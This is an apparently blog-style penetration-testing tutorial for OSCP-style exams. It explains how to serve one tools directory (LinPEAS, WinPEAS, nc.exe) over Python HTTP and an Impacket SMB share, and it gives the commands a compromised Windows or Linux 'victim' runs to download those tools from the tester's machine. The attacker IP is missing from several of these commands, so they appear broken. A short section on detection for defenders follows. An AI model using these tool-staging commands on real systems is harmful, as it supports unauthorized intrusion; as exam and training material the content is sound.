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Introduction:
In the high-pressure environment of a 48-hour OSCP or OSEP exam, seconds saved are points earned. A significant time sink for penetration testers is the constant switching between terminals to restart file servers for different targets. By leveraging the concept of a centralized “goodies” directory served simultaneously over HTTP and SMB, testers can maintain operational momentum regardless of whether they land on a Linux or Windows host. This article breaks down the workflow using Terminator and Impacket, providing the exact commands to streamline your attack infrastructure.
Learning Objectives:
- Understand how to configure and utilize Terminator for efficient terminal splitting and layout management.
- Learn to host a single directory simultaneously using Python’s HTTP server and Impacket’s SMB server.
- Execute remote file retrieval from both Linux and Windows targets using
wget,certutil, and `copy` commands.
You Should Know:
- Setting Up the “Goodies” Directory and Terminator Environment
The foundation of this method is a single directory containing all your necessary tools, exploits, and payloads. To manage the two servers effectively without window clutter, Terminator is the recommended terminal emulator.
Step‑by‑step guide:
First, create your centralized repository. In your Kali Linux terminal, run:
mkdir ~/goodies cd ~/goodies Populate it with your tools (e.g., LinPEAS, WinPEAS, nc.exe, mimikatz) wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe cp /usr/share/windows-resources/binaries/nc.exe .
Now, install and configure Terminator to split your view into three panes. This allows you to monitor both servers and have a terminal for general commands simultaneously.
sudo apt update && sudo apt install terminator -y
Launch Terminator. Right-click within the window and select “Split Horizontally”. Then, right-click on the bottom pane and select “Split Vertically”. You will now have three panes. You can drag the borders to resize them for optimal visibility. This layout lets you see the logs from both servers in real-time.
- Simultaneous Hosting with Python HTTP and Impacket SMB
With your directory populated and your layout ready, it’s time to spin up the servers. The goal is to share the `~/goodies` folder using two different protocols from two different panes.
Step‑by‑step guide:
Pane 1 (Top): Python HTTP Server
Navigate to your goodies directory and start a simple HTTP server on port 80 (requires root for ports <1024) or a higher port like 8080.
cd ~/goodies sudo python3 -m http.server 80
This server is perfect for Linux targets, allowing them to fetch files quickly with `wget` or curl.
Pane 2 (Bottom Left): Impacket SMB Server
In the second pane, use Impacket’s `smbserver.py` to share the same directory over SMB. This is crucial for Windows targets where SMB transfers are native and often more reliable for execution.
cd ~/goodies sudo impacket-smbserver share . -smb2support
The `-smb2support` flag ensures compatibility with modern Windows versions. This command shares the current directory (.) as a share named share.
Pane 3 (Bottom Right): General Use
Keep this pane free for launching attacks, stabilizing shells, or running preliminary enumeration.
Testing the Setup:
- From a Linux victim: `wget http://
/linpeas.sh`
– From a Windows victim (CMD): `copy \\\share\nc.exe C:\Windows\Temp\nc.exe`
– From a Windows victim (PowerShell): `copy \\\share\winPEASany.exe C:\Windows\Temp\winPEASany.exe` If you encounter authentication errors with SMB from Windows, you can specify a username and password in the command to make it more permissive:
sudo impacket-smbserver share . -smb2support -username offsec -password lab
On the victim machine, you would then mount it using
net use \\<your_ip>\share /user:offsec lab.
Mitigation and Detection for Defenders
From a defensive perspective, this technique highlights the importance of monitoring for both HTTP downloads from suspicious IPs and SMB connections originating from non-standard workstations. Security teams should enable logging on SMB and HTTP proxies to detect large file transfers or connections to known attack infrastructure. Network segmentation that restricts workstations from initiating outbound SMB traffic to the internet can also effectively neuter this specific file transfer method.
What Undercode Say:
- Efficiency Through Dual-Protocol Hosting: The core takeaway is that preparing for multiple environments simultaneously prevents context switching and reduces cognitive load during critical phases of a penetration test.
- Environment Optimization Matters: The recommendation of Terminator over the default Kali terminal underscores that mastering your tools, including the terminal emulator, can lead to compound time savings over a long engagement.
This method, while simple, exemplifies the mindset of a seasoned penetration tester. It’s not about finding zero-days; it’s about optimizing workflow to ensure that when you land on a box, you spend your time exploiting it, not fighting your own attack infrastructure. The ability to deliver a payload via the path of least resistance (HTTP for Linux, SMB for Windows) from a single source directory is a hallmark of efficient tradecraft.
Prediction:
As certification exams like OSCP and OSED continue to evolve, we will likely see environments implementing stricter egress filtering or simulating more monitored networks to counter these efficient file transfer methods. Future iterations of these exams may include alerts triggered by the sudden appearance of a Python HTTP server or an Impacket SMB share, forcing testers to adopt more stealthy and encrypted exfiltration and hosting methods, such as using IPv6 or tunneling over HTTPS.
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Reported By: Josecampo Oscp – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
